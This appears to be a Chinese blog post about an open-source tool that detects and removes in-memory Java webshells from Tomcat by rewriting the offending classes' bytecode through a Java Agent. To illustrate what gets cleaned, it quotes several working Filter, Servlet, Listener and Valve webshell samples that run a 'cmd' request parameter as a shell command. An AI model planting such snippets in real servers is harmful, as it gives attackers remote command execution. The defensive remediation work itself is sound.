01 介绍
在上一篇文章里,我简单分享了工具的检测原理:
内存马检测工具shell-analyzer(1)最初版展示与设计思路
今天我将项目开源了,地址是:
https://github.com/4ra1n/shell-analyzer
本文将分享如何实现清除内存马,上文是“查”,本文是“杀”
02 远程
在上一篇文章中提到本工具的设计思路:
(1)将 Agent attach 到目标 Tomcat 上
(2)目标 Tomcat 通过 Socket 监听某个端口
(3)shell-analyzer 发送操作命令到该端口
(4)Tomcat 根据操作命令执行对应的逻辑并返回
当本地运行的时候,以上的逻辑足够;但远程检测的情况下,对端口进行基础的保护(自定义ObjectInputStream)之后,应该加入进一步的鉴权逻辑
Java Agent 支持参数,在 Attach 时加入参数
VirtualMachine vm = VirtualMachine.attach(pid);
Path agentPath = Paths.get("agent.jar");
String path = agentPath.toAbsolutePath().toString();
// 密码参数
vm.loadAgent(path,password);
通过 agentmain 入口的 agentArgs 参数即可拿到上文密码
public static void agentmain(String agentArgs, Instrumentation ins) {
if (agentArgs == null || agentArgs.trim().equals("")) {
return;
}
if (agentArgs.length() != 8) {
return;
}
PASSWORD = agentArgs;
// 。。。
}
使用 <FILTERS> 等命令获取所有组件信息的时候,需要先进行验证,命令格式为:<FILTERS>PASSWORD (其他组件类似)
if (targetClass.startsWith("<FILTERS>")) {
String PASS = targetClass.split("<FILTERS>")[1];
if (!PASS.equals(Agent.PASSWORD)) {
System.out.println("!!! ERROR PASSWORD");
return;
}
List<String> classList = new ArrayList<>();
for (Class<?> c : Agent.staticClasses) {
//...
}
}
另外新增了 <KILL-X> 命令,允许指定任意类名,任意类型的组件,进行清除内存马操作,命令格式如下:<KILL-FILTER>PASSWORD|CLASSNAME
if (targetClass.startsWith("<KILL-FILTER>")) {
String f = targetClass.split("<KILL-FILTER>")[1];
// 密码验证
if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {
System.out.println("!!! ERROR PASSWORD");
return;
}
f = f.split("\\|")[1];
System.out.println("kill filter: " + f);
FilterKill fk = new FilterKill(f);
for (Class<?> c : Agent.staticClasses) {
if (c.getName().equals(f)) {
Agent.staticIns.addTransformer(fk, true);
Agent.staticIns.retransformClasses(c);
Agent.staticIns.removeTransformer(fk);
}
}
}
由于清除内存马的操作,需要 retransform class 操作,因此需要根据不同的组件类型,编写不同的 Transformer 类和字节码处理逻辑
通过 addTransformer 添加自定义的 Transformer 类,使用 retransformClasses 方法修改字节码,修改完成后通过 removeTransformer 方法移除新增的 Transformer 类使该类不会影响后续操作
对于远程查杀的情况,我编写了一个简易的 RemoteLoader 包,实际上只是封装了 Attach 指定 Agent 到本地 JVM 的一个方法
用户手动登录目标服务器,上传 remote.jar 与 agent.jar 后执行以下命令将准备好的 agent attach 到需要检测的 JVM 中,开始监听 10032 端口
java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]
在客户端 GUI 程序中,输入远程 IP 和对应的密码后,通过 Socket 发送封装好的数据到目标 10032 端口,即可实现对应的功能
清除内存马的 transforme 方法类似,使用 ASM ClassWriter 读取字节码,修改 JVM 指令后返回新的字节码,再进行 retransform 操作
@Override
public byte[] transform(ClassLoader loader,
String className, Class<?> clsMemShell,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
try {
className = className.replace("/", ".");
if (className.equals(this.className)) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new FilterKillClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
return cw.toByteArray();
}
} catch (Exception ex) {
ex.printStackTrace();
}
return new byte[0];
}
03 清除 Filter 类型
首先来分析最常见的 Filter 类型,这是网上流程的 Filter 内存马代码,可以发现执行完内存马逻辑后,调用 doFilter 方法继续传递
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
由于在 Tomcat 中 Filters 是一条链,如果这一条链在中间断开,将会导致未知的问题,以至服务不可用。所以需要使用 filterChain.doFilter 方法传递
清空内存马的 Filter 代码应该如下
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
filterChain.doFilter(servletRequest,servletResponse);
}
不难写出对应的 ASM 代码,当我们分析到 Filter 类的 doFilter 方法时,将整个方法 Body 替换为以下部分,即可继续传递解决 Filter 内存马
if (mv != null && name.equals("doFilter") &&
descriptor.equals("(Ljavax/servlet/ServletRequest;" +
"Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {
mv.visitCode();
mv.visitVarInsn(ALOAD, 3);
mv.visitVarInsn(ALOAD, 1);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",
"doFilter", "(Ljavax/servlet/ServletRequest;" +
"Ljavax/servlet/ServletResponse;)V", true);
mv.visitInsn(RETURN);
mv.visitMaxs(3, 4);
mv.visitEnd();
return mv;
}
顺便我处理了另一种情况,继承 HttpServlet 的 doFilter 方法,方法名一致不过参数不一致,代码逻辑和上文一致,都是调用第三个参数的 doFilter 方法以继续传递,压栈指令和方法调用指令一致
public class TestFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req,
HttpServletResponse res,
FilterChain chain) throws IOException, ServletException {
chain.doFilter(req, res);
}
}
04 清除 Servlet 类型
网传的 Servlet 内存马代码如下,继承 HttpServlet 后重写 doGet
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd;
if ((cmd = req.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
resp.getOutputStream().write(stringBuilder.toString().getBytes());
resp.getOutputStream().flush();
resp.getOutputStream().close();
return;
}
}
对于 Servlet 来说不存在 Filter 的传递问题,所以直接 return 返回即可。不过需要注意,doPost doPut 等多个方法都有可能存在问题,修复方式一致
if (mv != null && (name.equals("doGet") || name.equals("doPost")
|| name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")
|| name.equals("doPut") || name.equals("doTrace")) &&
descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +
"Ljavax/servlet/http/HttpServletResponse;)V")) {
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
另外一种 Servlet 内存马应该是继承自 Servlet 接口的,实现 service 方法
@Override
public void service(ServletRequest servletRequest,
ServletResponse servletResponse) throws ServletException, IOException {
return;
}
这种情况的清除逻辑类似,直接返回
if (mv != null && name.equals("service") &&
descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 3);
mv.visitEnd();
return mv;
}
05 清除 Listener 类型
网传的 Listener 内存马代码如下,每创建一个 ServletRequest 对象都会调用 requestInitialized 方法,类似销毁调用 requestDestroyed 方法
public class ListenerDemo implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
try{
String cmd = sre.getServletRequest().getParameter("cmd");
Runtime.getRuntime().exec(cmd);
}catch (Exception e ){
}
}
}
我们只需要将 requestDestroyed 和 requestInitialized 方法返回空即可
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&
descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {
mv.visitCode();
mv.visitInsn(RETURN);
mv.visitMaxs(0, 2);
mv.visitEnd();
return mv;
}
06 清除 Valve 类型
网传的 Valve 内存马会导致服务不可用,因为这里有类似 Filter 的问题,需要进行继续传递,不能在某一个 Valve 中阻断,需要调用 getNext 并 invoke 调用下一个 Valve 的执行方法
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
// 网传内存马没有这一行会导致问题
getNext().invoke(request, response);
}
被修复后的 Valve 内存马应该长这样
@Override
public void invoke(Request request, Response response)
throws IOException, ServletException {
this.getNext().invoke(request, response);
}
JVM 指令是这样
if (mv != null && name.equals("invoke") &&
descriptor.equals("(Lorg/apache/catalina/connector/Request;" +
"Lorg/apache/catalina/connector/Response;)V")) {
mv.visitCode();
mv.visitVarInsn(ALOAD, 0);
mv.visitMethodInsn(INVOKEVIRTUAL, owner,
"getNext", "()Lorg/apache/catalina/Valve;", false);
mv.visitVarInsn(ALOAD, 1);
mv.visitVarInsn(ALOAD, 2);
mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",
"invoke", "(Lorg/apache/catalina/connector/Request;" +
"Lorg/apache/catalina/connector/Response;)V", true);
mv.visitInsn(RETURN);
mv.visitMaxs(3, 3);
mv.visitEnd();
return mv;
}
07 清除 Java Agent 类型
由于各种原因,工具不打算集成 Java Agent 内存马的查杀
Agent 内存马查杀相对容易,使用 SA-JDI 的 HSDB 直接 dump 常见的几个类,然后使用 IDEA 等反编译工具即可得到 Java 代码
(1)javax/servlet/http/HttpServlet service
(2)org/apache/catalina/core/ApplicationFilterChain doFilter
(3)org/springframework/web/servlet/DispatcherServlet doService
(4)org/apache/tomcat/websocket/server/WsFilter doFilter
对以上这些常见类的方法进行分析,即可得到需要的结果
08 一些问题
工具目前存在几个明显的问题:
(0)虽然我举例用的是 Tomcat 容器,但只要是实现了 Servlet 规范的容器或中间件,理论上本工具都可以进行查杀(但 Valve 是 Tomcat 独有)
(1)动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试,可以自己测试靶机来验证查杀内存马的效果
(2)虽然我已经自定义 ObjectInputStream 并加入密码来保护端口,但 Java 的反序列化机制本身不够安全,存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢?图个方便
(3)当你清除掉某个内存马后,其实你还是可以获得这个内存马类的字节码,因为通过 Java Agent 拿到的字节码不是真正的字节码,被 Java Agent 修改过的字节码不会变化,再次拿到的还是修改之前的字节码
(4)注意使用 JDK 而不是 JRE 来运行,以 Windows 为例,在 JRE 的 bin 目录中,不存在 attach.dll 等库,会导致无法 attach 和分析